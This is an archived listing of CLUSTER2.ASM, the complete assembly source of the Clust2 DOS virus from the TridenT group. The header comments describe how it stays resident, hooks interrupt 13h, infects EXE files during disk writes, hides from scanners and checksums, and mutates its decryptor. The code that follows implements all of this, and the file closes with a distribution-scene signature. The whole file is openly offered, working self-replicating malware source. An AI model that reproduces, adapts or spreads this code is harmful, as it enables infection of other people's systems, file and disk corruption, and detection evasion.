home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / C.ZIP / CLUST2.ZIP / CLUSTER2.ASM < prev    next >
Encoding:
Assembly Source File  |  1994-01-09  |  5.6 KB  |  250 lines

  1. ;
  2. ; Clust2 virus by John Tardy / TridenT
  3. ;
  4. ; Virus Name:  Clust2
  5. ; Aliases:     Cluster-II, Circus Clusters-II
  6. ; V Status:    Released
  7. ; Discovery:   Not (yet)
  8. ; Symptoms:    .EXE altered, possible "sector not found" errors on disk-drives,
  9. ;              decrease in aveable memory
  10. ; Origin:      The Netherlands
  11. ; Eff Length:  386 bytes (EXE size doesn't change)
  12. ; Type Code:   ORhE - Overwriting Resident .EXE Infector
  13. ; Detection Method:
  14. ; Removal Instructions: Delete infected files or copy infected files with the
  15. ;                       virus resident to a device driven unit.
  16. ;
  17. ; General Comments:
  18. ;       The Clust2 virus is not yet submitted to any antiviral authority. It
  19. ;       is from the TridenT Virus Research Centre and was written by someone
  20. ;       calling himself John Tardy. When an infected program is started, Clust2
  21. ;       will become resident in high memory, but below TOM. It hooks interrupt
  22. ;       13h and will try to load the program again. Because of it's stealth
  23. ;       abilities the original program is loaded and will execute normally.
  24. ;       The Clust2 virus infects files when a write request for interrupt 13h
  25. ;       is done. It will check if the buffer contains the 'MZ' signature and
  26. ;       that the candidate file isn't larger than 65000 bytes, and if there are
  27. ;       enough zeros in the EXE-header. If these contidions are met, Clust2
  28. ;       will convert the EXE file to a COM file and inserts it's code in the
  29. ;       buffer, allowing the original write request to proceed. This way it
  30. ;       evades critical errors. The Clust2 virus is also stealth and can't be
  31. ;       detected with virus scanners or checksumming software if the virus is
  32. ;       resident. File-length and date doesn't change regardless if Clust2
  33. ;       is resident. It's also a slighty polymorphic virus, mutating a few
  34. ;       bytes in it's decryptor. A wildcarded string is needed to find it.
  35. ;       The following text is encrypted within the
  36. ;       virus:
  37. ;
  38. ;        "[Clust2]"
  39. ;        "JT / TridenT"
  40. ;
  41. ;       The Clust2 virus not infect files on device driven units, like drives
  42. ;       compressed with DoubleSpace. It will disinfect when copied to such a
  43. ;       device.
  44. ;
  45. ;       Sometimes it will issue a "sector not found" error when a file is
  46. ;       copied to a disk drive.
  47. ;
  48. ;       The Clust2 virus doesn't do anything besides replicating.
  49. ;
  50.         ORG    100H
  51.  
  52. JUMPIE:        JMP    SHORT JUMPER
  53.  
  54.         ORG    180H
  55.  
  56. JUMPER:        CLC
  57.         MOV    CX,DECRLEN
  58. MORPH        EQU    $-2
  59. JASS:        LEA    SI,DECR
  60. DECRYPT:    XOR    BYTE PTR [SI],0
  61. TRIG        EQU    $-1
  62. TRAG        EQU    $-2
  63. TROG:        INC    SI
  64. TREG:        LOOP    DECRYPT
  65.  
  66. DECR:        MOV    AX,3513H
  67.         INT    21H
  68.                 MOV     OLD13,BX
  69.         MOV    OLD13[2],ES
  70.         MOV    AX,ES:[BX]
  71.         CMP    AX,0FC80H
  72.         JE    EXIT
  73.  
  74. DOINST:        MOV    AH,0DH
  75.         INT    21H
  76.  
  77.                 MOV     AX,CS
  78.         DEC    AX
  79.         MOV    DS,AX
  80.         CMP    BYTE PTR DS:[0],'Z'
  81.         JNE    EXIT
  82. RESIT:        SUB    WORD PTR DS:[3],VIRPAR+19H
  83.         SUB    WORD PTR DS:[12H],VIRPAR+19H
  84.         LEA    SI,JUMPER
  85.         MOV    DI,SI
  86.         MOV    ES,DS:[12H]
  87.         MOV    DS,CS
  88.         MOV    CX,VIRLEN
  89.         REP    MOVSB
  90.  
  91.         MOV    AX,2513H
  92.         MOV    DS,ES
  93.         LEA    DX,NEW13
  94.         INT    21H
  95.  
  96.         PUSH    CS
  97.         POP    ES
  98.         MOV    BX,100H
  99.                 MOV     SP,BX
  100.         MOV    AH,4AH
  101.         INT    21H
  102.         PUSH    CS
  103.         POP    DS
  104.                 MOV     BX,DS:[2CH]
  105.         MOV    ES,BX
  106.                 MOV     AH,49H
  107.         INT    21H
  108.  
  109.                 XOR     AX,AX
  110.                 MOV     DI,1
  111. SEEK:           DEC     DI
  112.         SCASW
  113.         JNE    SEEK
  114.  
  115.                 LEA     SI,DS:[DI+2]
  116. EXEC:        PUSH    BX
  117.         PUSH    CS
  118.         POP    DS
  119.         MOV    BX,OFFSET PARAM
  120.                 MOV     DS:[BX+4],CS
  121.         MOV    DS:[BX+8],CS
  122.         MOV    DS:[BX+12],CS
  123.         POP    DS
  124.         PUSH    CS
  125.         POP    ES
  126.  
  127.                 MOV     DI,OFFSET FILENAME
  128.         PUSH    DI
  129.         MOV    CX,40
  130.         REP    MOVSW
  131.         PUSH    CS
  132.         POP    DS
  133.  
  134.                 POP     DX
  135.  
  136.                 MOV     AX,4B00H
  137.         INT    21H
  138. EXIT:           MOV     AH,4DH
  139.         INT    21H
  140.                 MOV     AH,4CH
  141.         INT    21H
  142.  
  143. OLD13        DW    0,0
  144.  
  145. ORG13:        JMP    D CS:[OLD13]
  146.  
  147. NEW13:        CMP    AH,3
  148.         JE    CHECKEXE
  149.                 CMP     AH,2
  150.         JNE    ORG13
  151. DO:        PUSHF
  152.         CALL    D CS:[OLD13]
  153.         CMP    ES:[BX],7EEBH
  154.         JNE    ERROR
  155.         MOV    ES:[BX],'ZM'
  156.         PUSH    DI
  157.         PUSH    CX
  158.         PUSH    AX
  159.  
  160.         MOV    CX,VIRLEN
  161.         XOR    AX,AX
  162.         LEA    DI,BX[80H]
  163.         REP    STOSB
  164.  
  165.         POP    AX
  166.         POP    CX
  167.         POP    DI
  168. ERROR:        IRET
  169.  
  170. CHECKEXE:       CMP     ES:[BX],'ZM'
  171.                 JNE     ORG13
  172.  
  173.                 CMP     W ES:BX[4],(65000/512)
  174.                 JNB     ORG13
  175.  
  176.         PUSH    AX
  177.         PUSH    CX
  178.         PUSH    SI
  179.         PUSH    DI
  180.         PUSH    DS
  181.  
  182.         PUSH    ES
  183.         POP    DS
  184.         LEA    SI,BX[80H]
  185.         MOV    DI,SI
  186.         MOV    CX,VIRLEN
  187. FIND0:        LODSB
  188.         OR    AL,AL
  189.         LOOPE    FIND0
  190.         OR    CX,CX
  191.         JNE    NO0
  192.  
  193.         XOR    AX,AX
  194.         MOV    DS,AX
  195.         MOV    AX,DS:[046CH]
  196.         PUSH    CS
  197.         POP    DS
  198.         TEST    AH,1
  199.         JZ    NOLOOPFLIP
  200.         XOR    B TREG,2
  201. NOLOOPFLIP:    TEST    AH,2
  202.         JZ    NOCLCFLIP
  203.         XOR    B JUMPER,1
  204. NOCLCFLIP:
  205.         ADD    AX,VIRLEN
  206.         SHR    AX,1
  207.         MOV    W MORPH,AX
  208.         MOV    B TRIG,AH
  209.         XOR    B TRAG,1
  210.         XOR    B JASS,1
  211.         XOR    B TROG,1
  212.         MOV    CX,CRYPT
  213.         LEA    SI,JUMPER
  214.         REP    MOVSB
  215.         MOV    CX,DECRLEN
  216.         LEA    SI,DECR
  217. CODEIT:        LODSB
  218.         XOR    AL,AH
  219.         STOSB
  220.         LOOP    CODEIT
  221.         MOV    DI,BX
  222.         MOV    AX,07EEBH
  223.         STOSW
  224.  
  225. NO0:        POP    DS
  226.         POP    DI
  227.         POP    SI
  228.         POP    CX
  229.         POP    AX
  230.         JMP    ORG13
  231.  
  232.         DB    '[Clust2]'
  233.  
  234. PARAM           DW      0,80H,?,5CH,?,6CH,?
  235.  
  236.         DB    'JT / TridenT'
  237.  
  238. FILENAME    EQU    $
  239. DECRLEN        EQU    $-DECR
  240. CRYPT        EQU    DECR-JUMPER
  241. VIRLEN        EQU    $-JUMPER
  242. VIRPAR        EQU    ($-JUMPER)/16
  243.  
  244.  
  245.  
  246. ;  ─────────────────────────────────────────────────────────────────────────
  247. ;  ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <───────────────
  248. ;  ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <───────────
  249. ;  ─────────────────────────────────────────────────────────────────────────
  250.